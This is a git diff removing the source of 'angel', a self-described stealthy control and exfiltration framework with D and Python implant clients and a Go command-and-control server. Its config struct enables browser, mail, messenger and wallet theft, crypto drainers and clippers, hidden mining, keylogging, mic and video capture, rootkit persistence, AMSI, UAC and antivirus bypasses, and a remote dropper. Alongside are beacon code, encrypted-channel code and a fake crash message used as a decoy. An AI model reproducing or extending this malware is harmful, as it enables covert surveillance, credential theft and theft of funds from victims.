||||||
struct Miner
|
|
||||||
{ // choose from: 'gpu/cpu'
|
|
||||||
Constants.Coin xmr = Constants.Coin(1, "", ""); // (integer percentage, source device, wallet address)
|
|
||||||
Constants.Coin btc = Constants.Coin(1, "", ""); // example: (30, gpu, "0x62CeC6EAA79Ad549Bd010D13EdA4fDc796751823")
|
|
||||||
Constants.Coin ltc = Constants.Coin(1, "", "");
|
|
||||||
Constants.Coin sol = Constants.Coin(1, "", "");
|
|
||||||
Constants.Coin eth = Constants.Coin(1, "", "");
|
|
||||||
}
|
|
||||||
|
|
||||||
struct Exfil
|
|
||||||
{
|
|
||||||
bool applications = true;
|
|
||||||
|
|
||||||
struct Browser
|
|
||||||
{
|
|
||||||
bool gecko = false;
|
|
||||||
bool chromium = true;
|
|
||||||
bool inject = false;
|
|
||||||
}
|
|
||||||
|
|
||||||
Browser browser;
|
|
||||||
|
|
||||||
struct Network
|
|
||||||
{
|
|
||||||
bool ftp = false;
|
|
||||||
bool ssh = false;
|
|
||||||
bool vpn = false;
|
|
||||||
bool proxy = false;
|
|
||||||
bool hook = false;
|
|
||||||
}
|
|
||||||
|
|
||||||
Network network;
|
|
||||||
|
|
||||||
struct Files
|
|
||||||
{
|
|
||||||
bool common = true;
|
|
||||||
bool important = true;
|
|
||||||
string[] commonFiles = [""];
|
|
||||||
string[] importantFiles = [""]; // put file extensions here like txt, png, jpeg, kdbx, db etc.
|
|
||||||
}
|
|
||||||
|
|
||||||
Files files;
|
|
||||||
|
|
||||||
struct Games
|
|
||||||
{
|
|
||||||
bool accounts = true;
|
|
||||||
bool saves = false;
|
|
||||||
bool inject = true;
|
|
||||||
string savesize = ""; // max. local save size (M=megabytes, K=kilobytes, G=gigabytes), e.g. 120M
|
|
||||||
}
|
|
||||||
|
|
||||||
Games games;
|
|
||||||
|
|
||||||
struct Mail
|
|
||||||
{
|
|
||||||
bool client = true;
|
|
||||||
bool web = false;
|
|
||||||
bool inject = false;
|
|
||||||
}
|
|
||||||
|
|
||||||
Mail mail;
|
|
||||||
|
|
||||||
bool filterAccounts = false;
|
|
||||||
bool systemInformation = false;
|
|
||||||
bool porndetect = false;
|
|
||||||
|
|
||||||
struct Wallet
|
|
||||||
{
|
|
||||||
bool seed = true;
|
|
||||||
|
|
||||||
Constants.Address xmrDrainer = Constants.Address("");
|
|
||||||
Constants.Address btcDrainer = Constants.Address("");
|
|
||||||
Constants.Address ltcDrainer = Constants.Address("");
|
|
||||||
Constants.Address solDrainer = Constants.Address("");
|
|
||||||
Constants.Address ethDrainer = Constants.Address("");
|
|
||||||
|
|
||||||
Constants.Address xmrClipper = Constants.Address("");
|
|
||||||
Constants.Address btcClipper = Constants.Address("");
|
|
||||||
Constants.Address ltcClipper = Constants.Address("");
|
|
||||||
Constants.Address ethClipper = Constants.Address("");
|
|
||||||
Constants.Address solClipper = Constants.Address("");
|
|
||||||
|
|
||||||
bool inject = false;
|
|
||||||
}
|
|
||||||
|
|
||||||
Wallet wallet;
|
|
||||||
|
|
||||||
struct Messenger
|
|
||||||
{
|
|
||||||
bool messages = false;
|
|
||||||
bool login = true;
|
|
||||||
bool inject = false;
|
|
||||||
}
|
|
||||||
|
|
||||||
Messenger messenger;
|
|
||||||
|
|
||||||
bool snapshot = false;
|
|
||||||
bool screenshot = true;
|
|
||||||
}
|
|
||||||
|
|
||||||
struct Conn
|
|
||||||
{
|
|
||||||
bool keylogger = true;
|
|
||||||
bool micrecord = false;
|
|
||||||
bool vidrecord = false;
|
|
||||||
string interval = ""; // integer + m = minutes, h = hours, d = days, example: 15m or 2h
|
|
||||||
}
|
|
||||||
|
|
||||||
struct Persistence
|
|
||||||
{
|
|
||||||
string mode = ""; // bootkit, ring0 rootkit, registry, windows startup folder, app injection startup
|
|
||||||
// choose from: 'boot, kernel, reg, file, app'
|
|
||||||
}
|
|
||||||
|
|
||||||
struct Privesc
|
|
||||||
{
|
|
||||||
bool fixExclusion = true;
|
|
||||||
bool disReagentC = true;
|
|
||||||
bool disEtw = true;
|
|
||||||
bool amsiBypass = true;
|
|
||||||
bool uacBypass = true;
|
|
||||||
bool destroyDef = false;
|
|
||||||
bool disableAv = false;
|
|
||||||
}
|
|
||||||
|
|
||||||
struct Dropper
|
|
||||||
{
|
|
||||||
bool memLoad = true; // load into memory/run module
|
|
||||||
bool startup = false; // will use the same method as persistence
|
|
||||||
bool update = false; // scrape again every time from URL
|
|
||||||
string url = ""; // URL to scrape file from
|
|
||||||
}
|
|
||||||
|
|
||||||
struct Dnsmanip
|
|
||||||
{
|
|
||||||
bool exclude = true; // excludes files from exclude struct to deny web access
|
|
||||||
}
|
|
||||||
|
|
||||||
Server server;
|
|
||||||
Antidbg antidbg;
|
|
||||||
Exclude exclude;
|
|
||||||
Spread spread;
|
|
||||||
Infect infect;
|
|
||||||
Miner miner;
|
|
||||||
Exfil exfil;
|
|
||||||
Conn conn;
|
|
||||||
Persistence persistence;
|
|
||||||
Privesc privesc;
|
|
||||||
Dropper dropper;
|
|
||||||
Dnsmanip dnsmanip;
|
|
||||||
}
|
|
||||||
|
|
||||||
Config config;
|
|
||||||
@@ -1,2 +0,0 @@
|
|||||||
class Config:
|
|
||||||
serv_url: str = "127.0.0.1:7775"
|
|
||||||
58
v1/conn.d
58
v1/conn.d
@@ -1,58 +0,0 @@
|
|||||||
module angel.conn;
|
|
||||||
|
|
||||||
// Internal imports
|
|
||||||
import angel.utils.logging;
|
|
||||||
import angel.utils.constants;
|
|
||||||
import angel.config : config;
|
|
||||||
|
|
||||||
// External imports
|
|
||||||
import std.socket;
|
|
||||||
import std.conv;
|
|
||||||
import std.format;
|
|
||||||
import std.stdio;
|
|
||||||
|
|
||||||
class Listener
|
|
||||||
{
|
|
||||||
private TcpSocket sock;
|
|
||||||
|
|
||||||
this()
|
|
||||||
{
|
|
||||||
this.initialize();
|
|
||||||
this.sockc();
|
|
||||||
}
|
|
||||||
|
|
||||||
private void initialize()
|
|
||||||
{
|
|
||||||
Logger.log(LogLevel.Debug, format("Establishing conn: %s:%s", config.server.host, config
|
|
||||||
.server.port));
|
|
||||||
try {
|
|
||||||
this.sock = new TcpSocket();
|
|
||||||
this.sock.connect(new InternetAddress(config.server.host, cast(ushort) config.server.port));
|
|
||||||
}
|
|
||||||
catch (SocketOSException err) {
|
|
||||||
Logger.log(LogLevel.Error, format("Failed to establ conn: %s", err));
|
|
||||||
this.sock = null;
|
|
||||||
}
|
|
||||||
catch (Exception err) {
|
|
||||||
Logger.log(LogLevel.Error, format("Unknown err occurred: %s", err));
|
|
||||||
this.sock = null;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private void sockc()
|
|
||||||
{
|
|
||||||
if (this.sock is null) {
|
|
||||||
Logger.log(LogLevel.Warning, "Cannot send data: No active connection.");
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
ubyte[] init_id = [to!ubyte(config.server.initializer)];
|
|
||||||
try {
|
|
||||||
this.sock.send(init_id);
|
|
||||||
Logger.log(LogLevel.Event, "Initializer ID sent.");
|
|
||||||
}
|
|
||||||
catch (SocketOSException err) {
|
|
||||||
Logger.log(LogLevel.Error, format("Failed to send data: %s", err));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
43
v1/conn.go
43
v1/conn.go
@@ -1,43 +0,0 @@
|
|||||||
package conn
|
|
||||||
|
|
||||||
import (
|
|
||||||
"angel_server/consts"
|
|
||||||
"angel_server/extra"
|
|
||||||
"fmt"
|
|
||||||
"log/slog"
|
|
||||||
"net"
|
|
||||||
"os"
|
|
||||||
"os/signal"
|
|
||||||
"syscall"
|
|
||||||
)
|
|
||||||
|
|
||||||
func Start_serv() {
|
|
||||||
consts.Logger.Info("Starting tcp listener...")
|
|
||||||
|
|
||||||
ln, err := net.Listen("tcp", fmt.Sprintf(":%d", extra.Port))
|
|
||||||
if err != nil {
|
|
||||||
consts.Logger.Error("Error occurred during server start:", slog.Any("error", err))
|
|
||||||
return
|
|
||||||
}
|
|
||||||
defer ln.Close()
|
|
||||||
|
|
||||||
stop := make(chan os.Signal, 1)
|
|
||||||
signal.Notify(stop, os.Interrupt, syscall.SIGTERM)
|
|
||||||
|
|
||||||
go func() {
|
|
||||||
<-stop
|
|
||||||
consts.Logger.Info("Shutting down server...")
|
|
||||||
ln.Close()
|
|
||||||
os.Exit(0)
|
|
||||||
}()
|
|
||||||
|
|
||||||
for {
|
|
||||||
conn, err := ln.Accept()
|
|
||||||
if err != nil {
|
|
||||||
consts.Logger.Error("Error accepting connection:", slog.Any("error", err))
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
|
|
||||||
go handleConnection(conn)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
18
v1/conn.py
18
v1/conn.py
@@ -1,18 +0,0 @@
|
|||||||
import socket
|
|
||||||
|
|
||||||
from utils.logger import *
|
|
||||||
from config import *
|
|
||||||
|
|
||||||
|
|
||||||
class Conn:
|
|
||||||
def __init__(self):
|
|
||||||
log.info("Attempting to connect...")
|
|
||||||
self.connect()
|
|
||||||
|
|
||||||
def connect(self):
|
|
||||||
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as self.s:
|
|
||||||
ip, port = Config.serv_url.split(":")
|
|
||||||
self.s.connect((ip, int(port)))
|
|
||||||
self.s.sendall("cont".encode("utf-8"))
|
|
||||||
data = self.s.recv(1024)
|
|
||||||
log.warning(data.decode("utf-8"))
|
|
||||||
@@ -1,36 +0,0 @@
|
|||||||
module angel.utils.constants;
|
|
||||||
|
|
||||||
// Internal imports
|
|
||||||
// External imports
|
|
||||||
import std.stdio;
|
|
||||||
import std.process;
|
|
||||||
import std.Path;
|
|
||||||
|
|
||||||
class Constants {
|
|
||||||
public static string appdata;
|
|
||||||
public static string local_appdata;
|
|
||||||
public static string workdir;
|
|
||||||
public static string logFilePath;
|
|
||||||
|
|
||||||
static this() {
|
|
||||||
appdata = environment.get("APPDATA");
|
|
||||||
local_appdata = environment.get("LOCALAPPDATA");
|
|
||||||
|
|
||||||
workdir = buildPath(appdata, "Angel");
|
|
||||||
logFilePath = buildPath(workdir, "angel.log");
|
|
||||||
}
|
|
||||||
|
|
||||||
struct Address {
|
|
||||||
string addr;
|
|
||||||
}
|
|
||||||
|
|
||||||
struct Coin {
|
|
||||||
int percentage = 30;
|
|
||||||
string source = "gpu";
|
|
||||||
string addr;
|
|
||||||
}
|
|
||||||
|
|
||||||
struct Errmsg {
|
|
||||||
string msg = "The exception unknown software exception (0x0000409) occurred in the application at location 0x7FFDF3B6A3C.\n\nClick on OK to terminate the program";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,17 +0,0 @@
|
|||||||
class Consts:
|
|
||||||
banner: str = """
|
|
||||||
_
|
|
||||||
\`*-.
|
|
||||||
) _`-.
|
|
||||||
. : `. .
|
|
||||||
: _ ' \
|
|
||||||
; *` _. `*-._
|
|
||||||
`-.-' `-.
|
|
||||||
; ` `.
|
|
||||||
:. . \
|
|
||||||
. \ . : .-' .
|
|
||||||
' `+.; ; ' :
|
|
||||||
: ' | ; ;-.
|
|
||||||
; ' : :`-: _.`* ;
|
|
||||||
[bug] .*' / .*' ; .*`- +' `*'
|
|
||||||
`*-* `*-* `*-*'"""
|
|
||||||
11
v1/consts.go
11
v1/consts.go
@@ -1,11 +0,0 @@
|
|||||||
package consts
|
|
||||||
|
|
||||||
import (
|
|
||||||
"angel_server/logging"
|
|
||||||
"database/sql"
|
|
||||||
)
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
var Logger = logging.GetLogger()
|
|
||||||
var Db *sql.DB
|
|
||||||
@@ -1,7 +0,0 @@
|
|||||||
package conn
|
|
||||||
|
|
||||||
import "net"
|
|
||||||
|
|
||||||
func controller_impl(conn net.Conn) {
|
|
||||||
|
|
||||||
}
|
|
||||||
@@ -1,23 +0,0 @@
|
|||||||
package cryptmeow
|
|
||||||
|
|
||||||
import (
|
|
||||||
"angel_server/consts"
|
|
||||||
"crypto/rand"
|
|
||||||
|
|
||||||
"golang.org/x/crypto/curve25519"
|
|
||||||
)
|
|
||||||
|
|
||||||
func Gen_keypair() (publicKey [32]byte, privateKey [32]byte) {
|
|
||||||
consts.Logger.Warn("Generating ephemeral keys for SSH authetification.")
|
|
||||||
|
|
||||||
_, err := rand.Read(privateKey[:])
|
|
||||||
if err != nil {
|
|
||||||
consts.Logger.Error("Failed to generate private key: " + err.Error())
|
|
||||||
}
|
|
||||||
|
|
||||||
curve25519.ScalarBaseMult(&publicKey, &privateKey)
|
|
||||||
|
|
||||||
return publicKey, privateKey
|
|
||||||
}
|
|
||||||
|
|
||||||
var ControllerPublicKey, ControllerPrivateKey [32]byte = Gen_keypair()
|
|
||||||
@@ -1,148 +0,0 @@
|
|||||||
module angel.utils.cryptography.cryptography;
|
|
||||||
|
|
||||||
// Internal imports
|
|
||||||
import angel.utils.logging;
|
|
||||||
import angel.utils.cryptography.serpent;
|
|
||||||
import angel.utils.cryptography.threefish;
|
|
||||||
import angel.utils.cryptography.curve25519;
|
|
||||||
// External imports
|
|
||||||
import std.stdio;
|
|
||||||
import std.random;
|
|
||||||
import std.format;
|
|
||||||
|
|
||||||
class Cryptography {
|
|
||||||
public {
|
|
||||||
struct KeyPair {
|
|
||||||
ubyte[32] clientSecretKey;
|
|
||||||
ubyte[32] sharedSecret;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public static KeyPair derive_25519(ubyte[] pk) {
|
|
||||||
ubyte[32] sk; // generate client secret key
|
|
||||||
for (int i = 0; i < 32; ++i) {
|
|
||||||
sk[i] = cast(ubyte)(uniform(0, 256));
|
|
||||||
}
|
|
||||||
|
|
||||||
Logger.log(LogLevel.Debug, "Generated client sk");
|
|
||||||
|
|
||||||
ubyte[32] ss = curve25519_scalarmult(sk, pk); // derive shared secret out of pk and sk
|
|
||||||
|
|
||||||
Logger.log(LogLevel.Debug, format("Derived shared secret: %s", ss));
|
|
||||||
|
|
||||||
return KeyPair(sk, ss);
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
class Freefishy {
|
|
||||||
private Threefish512 cipher;
|
|
||||||
|
|
||||||
this(ulong[8] key, ulong[2] tweak) {
|
|
||||||
cipher = new Threefish512();
|
|
||||||
cipher.setup(key, tweak);
|
|
||||||
}
|
|
||||||
|
|
||||||
public ubyte[] encrypt(ubyte[] payload) {
|
|
||||||
ulong[8] plain = [0, 0, 0, 0, 0, 0, 0, 0];
|
|
||||||
|
|
||||||
// Pack the ubyte[] into ulong[] by 8 bytes per ulong
|
|
||||||
foreach (i, c; payload) {
|
|
||||||
plain[i / 8] |= cast(ulong) c << ((i % 8) * 8);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Encrypt the ulong array
|
|
||||||
ulong[] encrypted_three = cipher.crypt(plain);
|
|
||||||
|
|
||||||
// Convert the encrypted ulong[] back to ubyte[]
|
|
||||||
ubyte[] encrypted_bytes;
|
|
||||||
foreach (enc_val; encrypted_three) {
|
|
||||||
foreach (i; 0..8) {
|
|
||||||
encrypted_bytes ~= cast(ubyte)((enc_val >> (i * 8)) & 0xFF);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
Logger.log(LogLevel.Debug, format("Threefish Encrypted: %s", encrypted_bytes));
|
|
||||||
return encrypted_bytes;
|
|
||||||
}
|
|
||||||
|
|
||||||
public ubyte[] decrypt(ubyte[] payload) {
|
|
||||||
ulong[8] decrypted_buffer;
|
|
||||||
|
|
||||||
// Convert the ubyte[] payload back into ulong[] (8 bytes per ulong)
|
|
||||||
ulong[8] cipher_payload;
|
|
||||||
foreach (i, val; payload) {
|
|
||||||
cipher_payload[i / 8] |= cast(ulong) val << ((i % 8) * 8);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Decrypt the ulong[] array
|
|
||||||
cipher.decrypt(cipher_payload.ptr, decrypted_buffer.ptr);
|
|
||||||
|
|
||||||
// Convert the decrypted ulong[] back to ubyte[]
|
|
||||||
ubyte[] decrypted_bytes;
|
|
||||||
foreach (dec_val; decrypted_buffer) {
|
|
||||||
foreach (i; 0..8) {
|
|
||||||
decrypted_bytes ~= cast(ubyte)((dec_val >> (i * 8)) & 0xFF);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
Logger.log(LogLevel.Debug, format("Threefish Decrypted: %s", decrypted_bytes));
|
|
||||||
return decrypted_bytes;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
class Serpi {
|
|
||||||
private Serpent serp;
|
|
||||||
|
|
||||||
this(Cryptography.KeyPair keypair) {
|
|
||||||
auto key = cast(ubyte[]) keypair.sharedSecret.dup;
|
|
||||||
serp.start(key);
|
|
||||||
}
|
|
||||||
|
|
||||||
public ubyte[] encrypt(ubyte[] payload) {
|
|
||||||
ubyte padding = cast(ubyte)(16 - (payload.length % 16));
|
|
||||||
ubyte[] paddingBytes = new ubyte[padding];
|
|
||||||
foreach (i; 0 .. padding) {
|
|
||||||
paddingBytes[i] = padding;
|
|
||||||
}
|
|
||||||
ubyte[] input = payload ~ paddingBytes;
|
|
||||||
ubyte[] output = new ubyte[input.length];
|
|
||||||
|
|
||||||
serp.encrypt(input, output);
|
|
||||||
Logger.log(LogLevel.Debug, format("Serpent Encrypted data: %s", output));
|
|
||||||
|
|
||||||
return output;
|
|
||||||
}
|
|
||||||
|
|
||||||
public ubyte[] decrypt(ubyte[] payload) {
|
|
||||||
ubyte[] output = new ubyte[payload.length];
|
|
||||||
serp.decrypt(payload, output);
|
|
||||||
|
|
||||||
if (output.length == 0) {
|
|
||||||
throw new Exception("Decryption failed: Output length is zero.");
|
|
||||||
}
|
|
||||||
|
|
||||||
ubyte padding = output[$ - 1];
|
|
||||||
|
|
||||||
if (padding > 16 || padding == 0) {
|
|
||||||
throw new Exception("Invalid padding detected");
|
|
||||||
}
|
|
||||||
|
|
||||||
foreach (i; output.length - padding .. output.length) {
|
|
||||||
if (output[i] != padding) {
|
|
||||||
throw new Exception("Padding validation failed");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
ubyte[] unpadded = output[0 .. output.length - padding];
|
|
||||||
Logger.log(LogLevel.Debug, format("Serpent Decrypted data: %s", unpadded));
|
|
||||||
|
|
||||||
return unpadded;
|
|
||||||
}
|
|
||||||
|
|
||||||
public void reset() {
|
|
||||||
serp.reset();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
136
v1/curve25519.d
136
v1/curve25519.d
@@ -1,136 +0,0 @@
|
|||||||
module angel.utils.cryptography.curve25519;
|
|
||||||
|
|
||||||
import angel.utils.cryptography.fieldelem;
|
|
||||||
import angel.utils.cryptography.utils;
|
|
||||||
|
|
||||||
public enum ubyte[32] publicBasePoint = cast(immutable (ubyte[32]) ) x"0900000000000000000000000000000000000000000000000000000000000000";
|
|
||||||
|
|
||||||
@safe nothrow @nogc:
|
|
||||||
|
|
||||||
///
|
|
||||||
///
|
|
||||||
/// Params:
|
|
||||||
/// secret = Your secret key, the 'exponent'.
|
|
||||||
/// p = Receivers public key. Default base point = 9.
|
|
||||||
///
|
|
||||||
/// Returns: p^secret.
|
|
||||||
///
|
|
||||||
/// Examples:
|
|
||||||
///
|
|
||||||
/// ubyte[32] publicKey = curve25519_scalarmult(secretKey);
|
|
||||||
///
|
|
||||||
/// ubyte[32] sharedKey = curve25519_scalarmult(mySecretKey, herPublicKey);
|
|
||||||
///
|
|
||||||
ubyte[32] curve25519_scalarmult(
|
|
||||||
in ubyte[] secret,
|
|
||||||
in ubyte[] p = cast(const ubyte[32]) publicBasePoint) @safe nothrow @nogc
|
|
||||||
in {
|
|
||||||
assert(secret.length == 32, "Secret key must be 32 bytes long.");
|
|
||||||
assert(p.length == 32, "Public key must be 32 bytes long.");
|
|
||||||
} body {
|
|
||||||
ubyte[32] sec = secret;
|
|
||||||
scope(exit) {
|
|
||||||
wipe(sec);
|
|
||||||
}
|
|
||||||
|
|
||||||
ubyte[32] pub = p;
|
|
||||||
|
|
||||||
return curve25519_scalarmult(sec, pub);
|
|
||||||
}
|
|
||||||
|
|
||||||
///
|
|
||||||
///
|
|
||||||
/// Params:
|
|
||||||
/// secret = Your secret key, the 'exponent'.
|
|
||||||
/// p = Receivers public key. Default base point = 9.
|
|
||||||
///
|
|
||||||
/// Returns: p^secret.
|
|
||||||
///
|
|
||||||
/// Examples:
|
|
||||||
///
|
|
||||||
/// ubyte[32] publicKey = curve25519_scalarmult(secretKey);
|
|
||||||
///
|
|
||||||
/// ubyte[32] sharedKey = curve25519_scalarmult(mySecretKey, herPublicKey);
|
|
||||||
///
|
|
||||||
ubyte[32] curve25519_scalarmult(in ref ubyte[32] secret, in ref ubyte[32] p = publicBasePoint) @safe nothrow @nogc
|
|
||||||
{
|
|
||||||
ubyte[32] e = secret;
|
|
||||||
scope(exit) {
|
|
||||||
wipe(e);
|
|
||||||
}
|
|
||||||
clamp(e);
|
|
||||||
|
|
||||||
fe x1, x2, x3, z2, z3, tmp0, tmp1;
|
|
||||||
scope(exit) {
|
|
||||||
wipe(x1);
|
|
||||||
wipe(x2);
|
|
||||||
wipe(x3);
|
|
||||||
wipe(z2);
|
|
||||||
wipe(z3);
|
|
||||||
wipe(tmp0);
|
|
||||||
wipe(tmp1);
|
|
||||||
}
|
|
||||||
|
|
||||||
x1 = fe.fromBytes(p);
|
|
||||||
x2 = fe.one;
|
|
||||||
z2 = fe.zero;
|
|
||||||
x3 = x1;
|
|
||||||
z3 = fe.one;
|
|
||||||
|
|
||||||
uint swap = 0, b;
|
|
||||||
for (int pos = 254; pos >= 0;--pos) {
|
|
||||||
b = e[pos / 8] >> (pos & 7);
|
|
||||||
b &= 1;
|
|
||||||
swap ^= b;
|
|
||||||
fe_cswap(x2,x3,swap);
|
|
||||||
fe_cswap(z2,z3,swap);
|
|
||||||
swap = b;
|
|
||||||
|
|
||||||
tmp0 = x3 - z3;
|
|
||||||
|
|
||||||
tmp1 = x2 - z2;
|
|
||||||
x2 += z2;
|
|
||||||
z2 = x3 + z3;
|
|
||||||
|
|
||||||
z3 = tmp0 * x2;
|
|
||||||
|
|
||||||
z2 *= tmp1;
|
|
||||||
tmp0 = tmp1.sq;
|
|
||||||
tmp1 = x2.sq;
|
|
||||||
x3 = z2 + z3;
|
|
||||||
|
|
||||||
z2 = z3 - z2;
|
|
||||||
x2 = tmp0 * tmp1;
|
|
||||||
|
|
||||||
tmp1 -= tmp0;
|
|
||||||
|
|
||||||
z2 = z2.sq;
|
|
||||||
|
|
||||||
z3 = fe_mul121666(tmp1);
|
|
||||||
|
|
||||||
x3 = x3.sq;
|
|
||||||
|
|
||||||
tmp0 += z3;
|
|
||||||
z3 = x1 * z2;
|
|
||||||
|
|
||||||
z2 = tmp0 * tmp1;
|
|
||||||
}
|
|
||||||
fe_cswap(x2,x3,swap);
|
|
||||||
fe_cswap(z2,z3,swap);
|
|
||||||
|
|
||||||
x2 *= z2.inverse;
|
|
||||||
return x2.toBytes;
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Transforms 32 random bytes into a valid secret key.
|
|
||||||
///
|
|
||||||
/// Params:
|
|
||||||
/// sk = 32 byte secret key.
|
|
||||||
package void clamp(ubyte[] sk) pure
|
|
||||||
in {
|
|
||||||
assert(sk.length == 32);
|
|
||||||
} body {
|
|
||||||
sk[0] &= 248;
|
|
||||||
sk[31] &= 63;
|
|
||||||
sk[31] |= 64;
|
|
||||||
}
|
|
||||||
@@ -1,22 +0,0 @@
|
|||||||
package db
|
|
||||||
|
|
||||||
import (
|
|
||||||
"angel_server/consts"
|
|
||||||
"database/sql"
|
|
||||||
"log"
|
|
||||||
|
|
||||||
_ "github.com/mattn/go-sqlite3"
|
|
||||||
)
|
|
||||||
|
|
||||||
func CheckLayer(db *sql.DB, layerID int) bool {
|
|
||||||
var exists bool
|
|
||||||
|
|
||||||
query := `SELECT EXISTS(SELECT 1 FROM layers WHERE layer_id = ?);`
|
|
||||||
|
|
||||||
err := consts.Db.QueryRow(query, layerID).Scan(&exists)
|
|
||||||
if err != nil {
|
|
||||||
log.Fatal(err)
|
|
||||||
}
|
|
||||||
|
|
||||||
return exists
|
|
||||||
}
|
|
||||||
@@ -1,5 +0,0 @@
|
|||||||
dub build --arch=x86 --compiler=dmd --vverbose --deep --build=release --force
|
|
||||||
|
|
||||||
gdi32, user32
|
|
||||||
|
|
||||||
"alwaysStackFrame","betterC","syntaxOnly",
|
|
||||||
25
v1/dub.json
25
v1/dub.json
@@ -1,25 +0,0 @@
|
|||||||
{
|
|
||||||
"authors": ["k0"],
|
|
||||||
"version": "1.0.0",
|
|
||||||
"copyright": "Copyright © 2024, k0",
|
|
||||||
"description": "Versatile stealthy control and exfiltration framework",
|
|
||||||
"license": "MIT",
|
|
||||||
"name": "angel",
|
|
||||||
"targetType": "executable",
|
|
||||||
"targetPath": "bin",
|
|
||||||
"sourcePaths": ["angel"],
|
|
||||||
"mainSourceFile": "angel/angel.d",
|
|
||||||
"libs-windows": ["crypt32"],
|
|
||||||
"libs-posix": [],
|
|
||||||
"copyFiles": ["../LICENSE.txt"],
|
|
||||||
"copyFiles-windows-x86": ["libs/win32/*.dll"],
|
|
||||||
"extraDependencyFiles": ["libs/crypto/*"],
|
|
||||||
"buildOptions": [
|
|
||||||
"noBoundsCheck",
|
|
||||||
"releaseMode",
|
|
||||||
"inline",
|
|
||||||
"optimize",
|
|
||||||
"warnings",
|
|
||||||
"lowmem"
|
|
||||||
]
|
|
||||||
}
|
|
||||||
48
v1/extra.go
48
v1/extra.go
@@ -1,48 +0,0 @@
|
|||||||
package extra
|
|
||||||
|
|
||||||
import (
|
|
||||||
"angel_server/consts"
|
|
||||||
"angel_server/cryptmeow"
|
|
||||||
"database/sql"
|
|
||||||
"fmt"
|
|
||||||
"log"
|
|
||||||
|
|
||||||
_ "github.com/mattn/go-sqlite3"
|
|
||||||
)
|
|
||||||
|
|
||||||
func Init() {
|
|
||||||
consts.Logger.Warn("Welcome to angel net! To autheticate as the admin controller of the net, you'll need to use the following key via the ssh shell")
|
|
||||||
consts.Logger.Warn(fmt.Sprintf("%d", cryptmeow.ControllerPublicKey[:]))
|
|
||||||
|
|
||||||
var err error
|
|
||||||
consts.Db, err = sql.Open("sqlite3", "../angel_db.sqlite3")
|
|
||||||
if err != nil {
|
|
||||||
log.Fatal(err)
|
|
||||||
}
|
|
||||||
defer consts.Db.Close()
|
|
||||||
|
|
||||||
createTableSQL := `
|
|
||||||
CREATE TABLE IF NOT EXISTS layers (
|
|
||||||
layer_id INTEGER NOT NULL CHECK(layer_id >= 0 AND layer_id <= 8),
|
|
||||||
public_key BLOB NOT NULL CHECK(LENGTH(public_key) = 32),
|
|
||||||
secret_key BLOB NOT NULL CHECK(LENGTH(secret_key) = 32),
|
|
||||||
PRIMARY KEY (layer_id)
|
|
||||||
);`
|
|
||||||
|
|
||||||
_, err = consts.Db.Exec(createTableSQL)
|
|
||||||
if err != nil {
|
|
||||||
log.Fatal(err)
|
|
||||||
}
|
|
||||||
|
|
||||||
var array_pk, array_sk []byte
|
|
||||||
copy(array_pk, cryptmeow.ControllerPublicKey[:])
|
|
||||||
copy(array_sk, cryptmeow.ControllerPrivateKey[:])
|
|
||||||
|
|
||||||
insertSQL := `INSERT OR IGNORE INTO layers (layer_id, public_key, secret_key) VALUES (?, ?, ?);`
|
|
||||||
_, err = consts.Db.Exec(insertSQL, 0, array_pk, array_sk)
|
|
||||||
if err != nil {
|
|
||||||
log.Fatal(err)
|
|
||||||
}
|
|
||||||
|
|
||||||
consts.Logger.Info("Database initialized and 'layers' table created successfully! Admin/controller handler has been added.")
|
|
||||||
}
|
|
||||||
1239
v1/fieldelem.d
1239
v1/fieldelem.d
File diff suppressed because it is too large
Load Diff
@@ -1,8 +0,0 @@
|
|||||||
module angel_server
|
|
||||||
|
|
||||||
go 1.23.3
|
|
||||||
|
|
||||||
require (
|
|
||||||
github.com/mattn/go-sqlite3 v1.14.24 // indirect
|
|
||||||
golang.org/x/crypto v0.32.0 // indirect
|
|
||||||
)
|
|
||||||
@@ -1,4 +0,0 @@
|
|||||||
github.com/mattn/go-sqlite3 v1.14.24 h1:tpSp2G2KyMnnQu99ngJ47EIkWVmliIizyZBfPrBWDRM=
|
|
||||||
github.com/mattn/go-sqlite3 v1.14.24/go.mod h1:Uh1q+B4BYcTPb+yiD3kU8Ct7aC0hY9fxUwlHK0RXw+Y=
|
|
||||||
golang.org/x/crypto v0.32.0 h1:euUpcYgM8WcP71gNpTqQCn6rC2t6ULUPiOzfWaXVVfc=
|
|
||||||
golang.org/x/crypto v0.32.0/go.mod h1:ZnnJkOaASj8g0AjIduWNlq2NRxL0PlBrbKVyZ6V/Ugc=
|
|
||||||
@@ -1,36 +0,0 @@
|
|||||||
package conn
|
|
||||||
|
|
||||||
import (
|
|
||||||
"angel_server/consts"
|
|
||||||
"angel_server/db"
|
|
||||||
"bytes"
|
|
||||||
"log/slog"
|
|
||||||
"net"
|
|
||||||
"strconv"
|
|
||||||
)
|
|
||||||
|
|
||||||
func handleConnection(conn net.Conn) {
|
|
||||||
defer conn.Close()
|
|
||||||
consts.Logger.Info("Received conn", slog.String("remote", conn.RemoteAddr().String()))
|
|
||||||
|
|
||||||
role := make([]byte, 8)
|
|
||||||
n, err := conn.Read(role)
|
|
||||||
if err != nil {
|
|
||||||
consts.Logger.Error("Failed to read role", slog.String("error", err.Error()))
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
layer_id := string(bytes.TrimSpace(role[:n]))
|
|
||||||
consts.Logger.Debug(layer_id)
|
|
||||||
|
|
||||||
int_meow, _ := strconv.Atoi(layer_id)
